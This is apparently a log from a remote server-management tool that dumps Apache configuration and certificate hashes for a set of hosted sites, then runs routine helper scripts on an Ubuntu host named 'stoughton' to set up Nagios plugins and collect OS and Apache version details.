# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e471e617b201eeeac5cdf55ddaa73065
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= 03afa00cea815b53e5d2306e68ff4e20
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 76b9edfedcf8528d537b2d714e4488cd
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 9446786f641b573bc32c87ef089668d7
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp945058:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-23 14:04:19: Establishing a connection
2025-12-23 14:04:20: Establishing a connection
2025-12-23 14:04:21: 

PUT: /tmp/pkp222947

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 14:04:21: 

chmod 755 /tmp/pkp222947; /tmp/pkp222947; rm /tmp/pkp222947

2025-12-23 14:04:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-23 14:04:21: 

systemctl reload nagios

2025-12-23 14:04:21: 




2025-12-23 14:04:22: 

PUT: /tmp/pkp753557

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-23 14:04:22: 

chmod 755 /tmp/pkp753557; /tmp/pkp753557; rm /tmp/pkp753557

2025-12-23 14:04:23: 


ok


2025-12-23 14:04:23: 

PUT: /tmp/pkp940563

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2025-12-23 14:04:23: 

chmod 755 /tmp/pkp940563; /tmp/pkp940563; rm /tmp/pkp940563

2025-12-23 14:04:23: 


ok


2025-12-23 14:04:24: 

PUT: /tmp/pkp551461

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-12-23 14:04:24: 

chmod 755 /tmp/pkp551461; /tmp/pkp551461; rm /tmp/pkp551461

2025-12-23 14:04:24: 


ok


2025-12-23 14:04:25: 

PUT: /tmp/pkp298207

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2025-12-23 14:04:25: 

chmod 755 /tmp/pkp298207; /tmp/pkp298207; rm /tmp/pkp298207

2025-12-23 14:04:25: 


ok


2025-12-23 14:04:26: 

PUT: /tmp/pkp338728

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-23 14:04:26: 

chmod 755 /tmp/pkp338728; /tmp/pkp338728; rm /tmp/pkp338728

2025-12-23 14:04:26: 


ok


2025-12-23 14:04:27: 

PUT: /tmp/pkp366271

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-23 14:04:27: 

chmod 755 /tmp/pkp366271; /tmp/pkp366271; rm /tmp/pkp366271

2025-12-23 14:04:27: 


ok


2025-12-23 14:04:28: 

PUT: /tmp/pkp258510

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-12-23 14:04:28: 

chmod 755 /tmp/pkp258510; /tmp/pkp258510; rm /tmp/pkp258510

2025-12-23 14:04:28: 


ok


2025-12-23 14:04:29: 

PUT: /tmp/pkp703948

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-23 14:04:29: 

chmod 755 /tmp/pkp703948; /tmp/pkp703948; rm /tmp/pkp703948

2025-12-23 14:04:29: 


ok


2025-12-23 14:04:30: 

PUT: /tmp/pkp416695

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-23 14:04:30: 

chmod 755 /tmp/pkp416695; /tmp/pkp416695; rm /tmp/pkp416695

2025-12-23 14:04:30: 


ok


2025-12-23 14:04:31: 

PUT: /tmp/pkp836514

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-23 14:04:31: 

chmod 755 /tmp/pkp836514; /tmp/pkp836514; rm /tmp/pkp836514

2025-12-23 14:04:32: 


ok


2025-12-23 14:04:32: 

PUT: /tmp/pkp632500

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-23 14:04:33: 

chmod 755 /tmp/pkp632500; /tmp/pkp632500; rm /tmp/pkp632500

2025-12-23 14:04:33: 


ok


2025-12-23 14:04:33: 

PUT: /tmp/pkp996596

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-23 14:04:34: 

chmod 755 /tmp/pkp996596; /tmp/pkp996596; rm /tmp/pkp996596

2025-12-23 14:04:34: 


ok


2025-12-23 14:04:35: 

PUT: /tmp/pkp527946

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2025-12-23 14:04:35: 

chmod 755 /tmp/pkp527946; /tmp/pkp527946; rm /tmp/pkp527946

2025-12-23 14:04:35: 


ok


2025-12-23 14:04:36: 

PUT: /tmp/pkp566736

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-23 14:04:36: 

chmod 755 /tmp/pkp566736; /tmp/pkp566736; rm /tmp/pkp566736

2025-12-23 14:04:36: 


ok


2025-12-23 14:04:39: 

PUT: /tmp/pkp656793

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2025-12-23 14:04:39: 

chmod 755 /tmp/pkp656793; /tmp/pkp656793; rm /tmp/pkp656793

2025-12-23 14:04:39: 


(Reading database ... 181468 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2025-12-23 14:05:23: Establishing a connection
2025-12-23 14:05:29: Establishing a connection
2025-12-23 14:05:30: Performing Server Status
2025-12-23 14:05:30: 

PUT: /tmp/pkp193071

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 14:05:31: 

chmod 755 /tmp/pkp193071; /tmp/pkp193071; rm /tmp/pkp193071

2025-12-23 14:05:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 14:05:31: 

PUT: /tmp/pkp966035

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 14:05:31: 

chmod 755 /tmp/pkp966035; /tmp/pkp966035; rm /tmp/pkp966035

2025-12-23 14:05:32: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
